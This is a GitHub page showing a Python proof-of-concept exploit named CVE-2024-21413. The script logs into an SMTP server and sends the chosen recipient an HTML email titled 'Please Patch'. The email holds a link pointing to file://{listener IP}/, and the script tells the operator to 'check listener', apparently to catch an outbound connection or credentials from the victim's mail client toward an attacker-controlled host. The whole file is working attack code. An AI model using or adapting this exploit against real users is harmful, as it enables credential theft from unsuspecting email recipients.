-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathCVE-2024-21413.py
39 lines (33 loc) · 1.52 KB
/
CVE-2024-21413.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import argparse
import smtplib
import sys
def main():
parser = argparse.ArgumentParser(description="CVE-2024-21413")
parser.add_argument("-u", "--sender", type=str, help="Email address of the sender", required=True)
parser.add_argument("-p", "--password", type=str, help="Password of the sender email")
parser.add_argument("-d", "--receiver", type=str, help="Email address of the receiver", required=True)
parser.add_argument("-s", "--server", type=str, help="Mail Server")
parser.add_argument("-i", "--ip", type=str, help="Address of a listener", default="localhost")
parser.usage = f"python3 {__file__} -u <sender_email> -p <password> -d <receiver_email> -s <server>"
args = parser.parse_args()
if args.server is None:
domain = args.receiver.split("@")
args.server = domain[1]
print(f"Assuming mail server is {args.server}")
message = f"From: CVE-2024-21413 <{args.sender}>\r\n\
To: {args.receiver}\r\n\
Subject: Please Patch\r\n\
MIME-Version: 1.0\r\nContent-Type: text/html; charset=\"utf-8\"\r\n\r\n<a href=\"file://{args.ip}/\">Please Patch</a>"
try:
with smtplib.SMTP(args.server, 25) as server:
server.login(args.sender, args.password)
server.sendmail(args.sender, args.receiver, message)
print("Email sent")
print("Check listener")
except Exception as e:
print(e)
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: python3 {__file__} -h")
sys.exit()
main()